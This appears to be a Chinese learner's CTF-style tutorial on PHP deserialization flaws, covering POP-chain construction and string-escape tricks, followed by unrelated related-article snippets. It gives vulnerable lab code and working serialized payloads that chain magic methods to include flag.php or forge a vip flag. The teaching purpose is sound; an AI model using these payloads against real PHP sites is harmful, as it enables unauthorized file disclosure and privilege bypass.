计算机网站开发毕业论文/百度推广平台收费标准
目录
pop链前置知识,魔术方法触发规则
pop构造链解释(开始烧脑了)
字符串逃逸基础 字符减少
字符串逃逸基础 字符增加
实例获取flag
字符串增多逃逸
字符串减少逃逸
延续反序列化漏洞(一)的内容
pop链前置知识,魔术方法触发规则
魔术方法触发前提:魔术方法所在类(或对象)被调用
类的反序列化的时候 只会触发当前类中的魔术方法 和其他类无关
很好理解 C类被反序列化后得到对象A 其值从序列化的字符串中得到 但是对象A如果触发魔术方法只能触发C类中的魔术方法 ,在这里也说一下,如果字符串中有某一类,反序列化后 系统会认为该对象属于这个类
<?php highlight_file(__FILE__); error_reporting(0); class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo $this->source;} } class sec {var $benben;public function __tostring(){echo "tostring is here!!";//这是目标} } $b = $_GET['benben']; unserialize($b); ?>
目标:触发__tostring魔术方法
这题的很简单 如果想调用wakeup方法 必须反序列化fast类 并且满足wakeup魔术方法的触发条件 这样才能自动调用魔术方法,目标是触发tostring,让source是个对象 就能触发tostring,让source成为sec类的对象 并把对象当成字符串调用就能触发tostring
手工制作:pocO:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
修改源码生成序列化的字符串(poc)
构造poc后 代码执行顺序就是反序列化poc(可以理解为反序列化fast类的序列化的字符串)从而触发wakeup魔术方法 从而执行echo输出source 这是的source已经是sec对象了 echo以字符串形式输出source 就出发了sec类中的tostring魔术方法
注意 wakeup限制性 当执行到echo语句的时候 就将sec实例化成source这个对象了 从而达成了漏洞利用<?php highlight_file(__FILE__); error_reporting(0); class fast {public $source; } class sec {var $benben; } $a=new sec(); $b=new fast(); $b->source=$a; echo serialize($b); ?>
将poc进行传参 成功调用__tostring魔术方法
pop构造链解释(开始烧脑了)
说是烧脑 我感觉不难
pop链构造 poc编写
pop链:在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫"面向属性编程"即POP
POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据
大白话:通过修改序列化的字符串里的属性值从而使多个魔术方法多次跳转得到敏感数据(整个过程是POP链最终得到的是POC)
POC编写
在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码
例题
获取flag 提示flag在flag.php中
<?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);} }class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;} }class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['pop'])){unserialize($_GET['pop']); } ?>
构造pop链反推法:
1.需要找到include函数才能包含一个flag.php的文件 并发现下一条语句为输出flag 所在方法为append include参数通过appen方法传进来
2.找到调用append方法的魔术方法__invoke append参数的值通过当前类属性var中来 所以要将var值设为flag.php
3 看哪里调用了__invoke魔术方法 发现test类中的__get魔术方法会触发 设置p为__invoke所在类的对象
4 看哪里调用了__get魔术方法 show类中的__tostring魔术方法会触发 设置str为__get所在类的对象
5看哪里调用了__tostring魔术方法 在当前类的__wakeup会触发 将source设置成当前类的对象
6 看哪里触发了__wakeup 在GET传参后如果反序列化show类会触发__wakeup
得出pop链顺序
构造poc 就需要将顺序调过来
这种pop链的poc最好就不要用手工构造的方式 比较麻烦
手工构造
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
使用源代码构造
第一步
<?php class Modifier {private $var;//var是flag.php } class Show{public $source;//自己类的对象public $str;//test类对象 }class Test{public $p;//Modifier对象 } $a ?>
第二步
<?php highlight_file(__FILE__); error_reporting(0); class Modifier {private $var="flag.php";//var是flag.php 私有属性只能在类里定义 } class Show{public $source;//自己类的对象public $str;//test类对象 }class Test{public $p;//Modifier对象 } $a=new Modifier(); $b=new Show(); $c=new Test(); $b->source=$b; $b->str=$c; $c->p=$a; echo serialize($b); ?>
输出得到poc
到这里我出现问题了 我测试检查了一个小时 我的poc和老师一摸一样 但是 我测试发现代码执行到__get处没有出发invoke poc和老师的一摸一样 不知道什么原因 然后我把靶场php版本切换到7.0以上就好使了 哈哈
成功获取flag
字符串逃逸基础 字符减少
反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:一般再数据先经过一次serialize再经过unserialize,本来如果有两个属性 但是在其中一个属性的值中构造poc 再通过特定原因 这时反序列化就能出来三个属性
有四点反序列化的知识的基础
1 虽然反序列化的对象A的值从序列化的字符串中来,但是如果字符串中有v1 v2 属性 类A里面还有一个只有v3属性 反序列化的时候系统会认为这就是类A的对象 字符串已经定义了v1v2 系统发现没有v3呢? 然后就加上去了 切记无论类里面定没定义属性值 只要是字符串定义了值 对象A的值都是从字符串中定义的值来 字符串要是没定义 那就从原有类中得来
举个例子O:4:"Show":2:{s:6:"source";r:1;}
2 这2个属性必须要和字符串的属性数目对应
3 这6个字符串长度 必须也要和属性名长度对应
4 a\"b字符串长度就是3 通过s:3来确定的 所以必须要和属性名或值的长度对应 要不然不知道这个双引号是字符还是 功能符
以上就算是前置知识了
属性逃逸刚刚原理说的比较含糊 直接上例题
<?php highlight_file(__FILE__); error_reporting(0); class A{public $v1 = "abcsystem()system()system()";public $v2 = '123456789';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;} } $a = $_GET['v1']; $b = $_GET['v2']; $data = serialize(new A($a,$b)); $data = str_replace("system()","",$data); var_dump(unserialize($data)); ?>
以前都是直接传一个需要反序列化的参数 为了出发方法而达到我们想要的目的
但是字符串逃逸属于 明明类中有2个属性 我们如何构造成3个属性呢(这个时候 有人就想 直接修改字符串加上第三个属性得了呗 但是这道题没有修改字符串的条件 只让你传属性一和属性二的参数)
得出O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:9:"123456789";}
$data = str_replace("system()","",$data);//在这如果把system()去除 因为原有的长度是27 现在只剩下adc三个字符串了 前面也说了这个s:27这个长度要和值对应 所以他会继续往下走把后面的字符也当成这个v1的值标红的(这个时候会报错 因为反序列化往下执行后发现这个值末尾没有双引号呀)
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123456789";}
这个时候我们就要构造v2的属性的值(poc)
v2 = '1234567";s:2:"v3";s:3:"123";}'
这个时候正常序列化的值为 红色的为属性值
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
去除了system()后
{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
如果把v2的值去除最后的分号和花括号还有双引号也对
v2 = '1234567";s:2:"v3";s:3:"123'
{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:3:"123";}";}
在反序列化的时候核查到有2(紫色标注的)个属性 所以他会自动向下执行这个时候就多出了一个v3的属性
这样反序列化就出现了3个属性
属性v1的值就是abc";s:2:"v2";s:28:"1234567
属性v2的值就是原有的123456789
属性v3的值就是123
该对象的值v1v3从字符串中获得 v2从类中获得
这个时候肯定有人想在序列化的时候不是以及给v2赋了一个新值嘛 为什么这里还是123456789
因为 序列化只是为了按照要求生成指定的字符串 的确生成了包含v2指定值的字符串 但是序列化结束后,类原有的样子是不变的,只有那个字符串里面有一个v2的属性 并且值为指定的
最终成功
反序列化字符串减少逃逸:多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
字符串逃逸基础 字符增加
反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
字符串逃逸基础
字符串增多
演示代码
<?php highlight_file(__FILE__); error_reporting(0); class A{public $v1 = 'ls';public $v2 = '123';public function __construct($arga,$argc){$this->v1 = $arga;$this->v2 = $argc;} } $a = $_GET['v1']; $b = $_GET['v2']; $data = serialize(new A($a,$b)); $data = str_replace("ls","pwd",$data);var_dump(unserialize($data));
他将ls换成了pwd
我们想让反序列化识别的字符串 ";s:2:"v3";s:3:"666";}一共22个位置
该代码中将ls替换为pwd 一个ls就能吐出一个位置来 需要22个ls才可以
构造v1参数的值为 lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}
正常情况
替换的情况
把ls替换成pwd后字符串就变成了88 pwd占了66个位置 这个时候正好";s:3:"v3";s:3:"666";}逃逸出来
"用于包裹pwd的字符串 系统往下识别就识别出了v3属性 并且看到了;}就停止了反序列化 具体细节和减少逃逸一个道理没啥区别 不细说了
实例获取flag
字符串增多逃逸
<?php function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name; } class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;} } $param=$_GET['param']; $param=serialize(new test($param));//test类进行实例化为param对象 并对类中的user赋值为获得的参数 // 序列化后值为 $param=O:4:"test":2:{s:4:"user";s:?:"";s:4:"pass";s:8:"daydream";} $profile=unserialize(filter($param)); //将对象传入filter函数 函数内容是如果对象中国存在flag或者php替换成hack(感觉没啥用呢) ,现在发现有用了 将php替换成hack 一个php就能多出一个位置来 //之后返回该对象并反序列化 在反序列化的过程中要把pass的值设置为escaping //这样一来我们就需要在序列化的字符串中参数user处构造poc //如果pass的值为escaping 那么序列化的样子就是 s:4:"pass";s:8:"escaping"; ->-> ";s:4:"pass";s:8:"escaping";} //O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} ........";s:4:"pass";s:8:"daydream";} //现在有116个字符串 将php换成hack后变成145个字符串 正好";s:4:"pass";s:8:"escaping";"}就逃逸出来了 if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); } ?>
传参后成功
字符串减少逃逸
<?php highlight_file(__FILE__); error_reporting(0); function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);//匹配如果存在safe数组的值 替换成hkreturn $name; } class test{var $user;var $pass;var $vip = false ;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;} } $param=$_GET['user'];//传入两个参数 $pass=$_GET['pass']; $param=serialize(new test($param,$pass));//实例化test类并序列化赋值给param对象 在实例化的过程//中将传入的两个参数赋值给属性user和pass //";s:3:"vip";s:4"true";} //s:4:"user";s:?:"";s:4:"pass";s:xx:"(";s:3:"vip";s:4"true";})";//use:flagflagflagflagflagflagflagflagflagphp //pass:";s:3:"vip";s:4"true";} $profile=unserialize(filter($param));//将字符串作为参数传给函数filter 将返回值反序列化if ($profile->vip){echo file_get_contents("flag.php"); } ?>
按照代码中的注释我去验证poc发现竟然后去不到flag 研究了很久很久
最后发现他在实例化的时候 把原有类中的vip也给实例化了这样实例化的字符串会有3个属性
O:4:"test":3:{...}
当时我以为传参user和pass只会实例化为两个属性 忘记了他会自动把类中的vip也进行实例化
就当成O:4:"test":2:{...} 构造完 发现没问题呀就是不出flag 给我气完了 真的这么简单我就然没想到 以后还得更加认真一点
正确的poc
?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
成功
相关文章:

反序列化漏洞详解(二)
目录 pop链前置知识,魔术方法触发规则 pop构造链解释(开始烧脑了) 字符串逃逸基础 字符减少 字符串逃逸基础 字符增加 实例获取flag 字符串增多逃逸 字符串减少逃逸 延续反序列化漏洞(一)的内容 pop链前置知识,魔术方法触…...

React全站框架Next.js使用入门
Next.js是一个基于React的服务器端渲染框架,它可以帮助我们快速构建React应用程序,并具有以下优势: 1. 支持服务器端渲染,提高页面渲染速度和SEO; 2. 自带webpack开发环境,实现即插即用的特性;…...

【操作系统笔记】-文件系统
引言 之前已经学习过数据在内存中是如何表示,如何存储,但是这些存储在PC断电后数据便消失。因此我们需要一个可以持久化存储并且容量远远大于内存的结构,这一篇我们将学习,文件是如何被组织和操作的,这是一个操作系统…...

第二十一章 网络通信
计算机网络实现了堕胎计算机间的互联,使得它们彼此之间能够进行数据交流。网络应用程序就是再已连接的不同计算机上运行的程序,这些程序借助于网络协议,相互之间可以交换数据,编写网络应用程序前,首先必须明确网络协议…...

【漏洞复现】万户协同办公平台ezoffice wpsservlet接口存在任意文件上传漏洞 附POC
漏洞描述 万户ezOFFICE集团版协同平台以工作流程、知识管理、沟通交流和辅助办公四大核心应用 万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台ezoffice wpsservlet接口存在任意文件上传漏洞。 免责声明 技术文章仅供参考,任何个人和组织使用网络应…...

【uniapp】小程序中input输入框的placeholder-class不生效解决办法
问题描述 uniapp微信小程序,使用input组件时,想要改变提示词 placeholder 的样式,但是使用placeholder-class 改变不了 如下: <input type"text" placeholder"搜索" placeholder-class"placeholde…...

SimplePIR——目前最快单服务器匿踪查询方案
一、介绍 这篇论文旨在实现高效的单服务器隐私信息检索(PIR)方案,以解决在保护用户隐私的同时快速检索数据库的问题。为了实现这一目标,论文提出了两种新的PIR方案:SimplePIR和DoublePIR。这两种方案的实现基于学习与错…...

Spring Boot中使用Swagger
1. 启用Swagger 1.1 启用注解扫描和文档接口 直接在POM文件引入依赖 <dependency><groupId>io.springfox</groupId><artifactId>springfox-swagger2</artifactId><version>2.9.2</version> </dependency>1.2 启动swagger-u…...

uniapp实战 —— 竖排多级分类展示
效果预览 完整范例代码 页面 src\pages\category\category.vue <script setup lang"ts"> import { getCategoryTopAPI } from /apis/category import type { CategoryTopItem } from /types/category import { onLoad } from dcloudio/uni-app import { compu…...

SAP UI5 walkthrough step6 Modules
在SAPUI5 中,资源通常用作Modules,这个我们将用Message Toast 来实现告警功能 修改controller.js webapp/controller/App.controller.js sap.ui.define(["sap/ui/core/mvc/Controller","sap/m/MessageToast" ], (Controller, Mes…...

时间相关类
内容 JDK7时间相关类JDK8时间相关类 第一章 Date类 1.1 Date概述 java.util.Date类 表示特定的瞬间,精确到毫秒。 继续查阅Date类的描述,发现Date拥有多个构造函数,只是部分已经过时,我们重点看以下两个构造函数 public Dat…...

数据库事务:保障数据一致性的基石
目录 1. 什么是数据库事务? 1.1 ACID特性解析 2. 事务的实现与控制 2.1 事务的开始和结束 2.2 事务的隔离级别 3. 并发控制与事务管理 3.1 并发控制的挑战 3.2 锁和并发控制算法 4. 最佳实践与性能优化 4.1 事务的划分 4.2 批处理操作 5. 事务的未来发展…...

自动化操作脚本
文章目录 vbsopenCV pyautogui vbs SSH连接并执行指令操作 Dim WshShell Set WshShellWScript.CreateObject("WScript.Shell") WshShell.Run "cmd.exe" WScript.Sleep 1000 WshShell.SendKeys "ssh xcmg10.27.40.103" WshShell.SendKeys &qu…...

MVC、MVP、MVVM模式的区别
前言:这三个表现层框架设计模式是依次进化而形成MVC—>MVP—>MVVM。在以前传统的开发模式当中即MVC模式,前端人员只负责Model(数据库)、 View(视图)和 Controller /Presenter/ViewModel(控…...

【Vue】日常错误总结(持续更新)
日常遇到的小问题汇总, 内容小篇幅少的就全放这里了, 内容多的会在Vue专栏单独分享~ 目录 【Q】 el-form-item值为 null 或 undefined显示““ 【Q】dialog内组件数据刷新总是延迟慢一拍 问题背景描述 解决方案 代码简单模拟 JS 【Q】el-input 不能输入的解决办法 方法…...

java多线程(常用方法、实现方式、线程安全问题、生命周期、线程池)
多线程相关的三组概念 程序和进程 程序(program):一个固定的运行逻辑和数据的集合,是一个静态的状态,一般存储在硬盘中。简单来说就是我们编写的代码 进程(process):一个正在运行的…...

Day05 linux高级系统设计 - 管道
复制文件描述符 dup函数 作用: 文件描述符复制 语法: #include <unistd.h> int dup (int oldfd); 参数: 所需复制得文件描述符 返回值: 复制到的文件描述符 功能: 从文件描述符表中,找一个最小…...

低代码:美味膳食或垃圾食品?
一、什么是低代码 低代码是一种开发方法,通过可视化界面和少量的编码,使开发者能够快速构建应用程序。它的目标是提高开发效率、降低开发成本,并支持快速迭代和敏捷开发。 二、低代码的优缺点 低代码开发具有以下优点: 快速开…...

免费网页抓取工具大全【附下载和工具使用教程】
在当今信息爆炸的时代,获取准确而丰富的数据对于企业决策和个人研究至关重要。而网页抓取工具作为一种高效获取互联网数据的方式,正逐渐成为大家解决数据需求的得力助手。本文将深入探讨网页抓取工具的种类,并为大家提供简单实用的页面采集教…...
Leetcode 39 组合总和
题意理解: 一个 无重复元素 的整数数组 candidates 和一个目标整数 target 从candidates 取数字,使其和 target ,有多少种组合(candidates 中的 同一个 数字可以 无限制重复被选取) 这道题和之前一道组合的区别&am…...

Windows下使用AndroidStudio及CMake编译Android可执行程序或静态库动态库
Windows下使用AndroidStudio及CMake编译Android可执行程序或静态库动态库 文章目录 Windows下使用AndroidStudio及CMake编译Android可执行程序或静态库动态库一、前言二、编译环境三、示例C/CPP程序1、总体工程结构2、示例代码3、CMakeLists.txt(重要)4、…...

MySQL七 | 存储引擎
目录 存储引擎 存储引擎特点 存储引擎选择 Innodb与MyISAM区别 存储引擎 默认存储引擎:InnoDB show engines;#展示当前数据库支持的存储引擎 存储引擎特点 特点InnoDBMyISAMMemory存储限制64TB有有事务安全支持--锁机制行锁表锁表锁Btree锁支持支持 支持 Hash索引--支…...

网上下载的pdf文件,为什么不能复制文字?
不知道大家有没有到过这种情况?在网上下载的PDF文件打开之后,发现选中文字之后无法复制。甚至其他功能也都无法使用,这是怎么回事?该怎么办? 当我们发现文件打开之后,编辑功能无法使用,很可能是…...

Linux下apisix离线安装教程
Linux下apisix离线安装教程 一、首先需要安装etcd:二、通过rpm离线安装apisix三、启动apisix四、安装apisix-dashboard1、安装2、更改dashboard登录账号名和密码3、运行 一、首先需要安装etcd: 解压缩etcd后执行以下命令: tar -xvf etcd-v3.…...

基于STM32 + DMA介绍,应用和步骤详解(ADC多通道)
前言 本篇博客主要学习了解DMA的工作原理和部分寄存器解析,针对ADC多通道来对代码部分,应用部分作详细讲解,掌握代码编程原理。本篇博客大部分是自己收集和整理,如有侵权请联系我删除。 本次博客开发板使用的是正点原子精英版&am…...

openGauss学习笔记-144 openGauss 数据库运维-例行维护-慢sql诊断
文章目录 openGauss学习笔记-144 openGauss 数据库运维-例行维护-慢sql诊断144.1 背景信息144.2 前提条件 openGauss学习笔记-144 openGauss 数据库运维-例行维护-慢sql诊断 144.1 背景信息 在SQL语句执行性能不符合预期时,可以查看SQL语句执行信息,便…...

计算机毕业设计springboot+ssm停车场车位预约系统java
管理员不可以注册账号 停车位包括车位所在楼层、车位编号、车位类型(全时间开放/高峰期开放)、预定状态等 用户预约时要求支付预约时间段的停车费用 违规行为:1.停车超过预约时间段 2.预约未使用 于系统的基本要求 (1)功能要求&am…...

打破常规思维:Scrapy处理豆瓣视频下载的方式
概述 Scrapy是一个强大的Python爬虫框架,它可以帮助我们快速地开发和部署各种类型的爬虫项目。Scrapy提供了许多方便的功能,例如请求调度、数据提取、数据存储、中间件、管道、信号等,让我们可以专注于业务逻辑,而不用担心底层的…...

系列学习前端之第 2 章:一文精通 HTML
全套学习 HTMLCSSJavaScript 代码和笔记请下载网盘的资料: 链接: https://pan.baidu.com/s/1-vY2anBdrsBSwDZfALZ6FQ 提取码: 6666 HTML 全称:HyperText Markup Language(超文本标记语言) 1、 HTML 标签 1. 标签又称元素&#…...

SCSS Module 这样处理配置和使用太赞了
SCSS Module 只是Scss和Css Module结合,可以利用SCSS对代码静态处理的能力,使得样式处理更强大一些,并不是什么新的东西,对比css-in-js和scoped,个人偏向喜欢Scss Module做样式隔离,先说一下优点࿱…...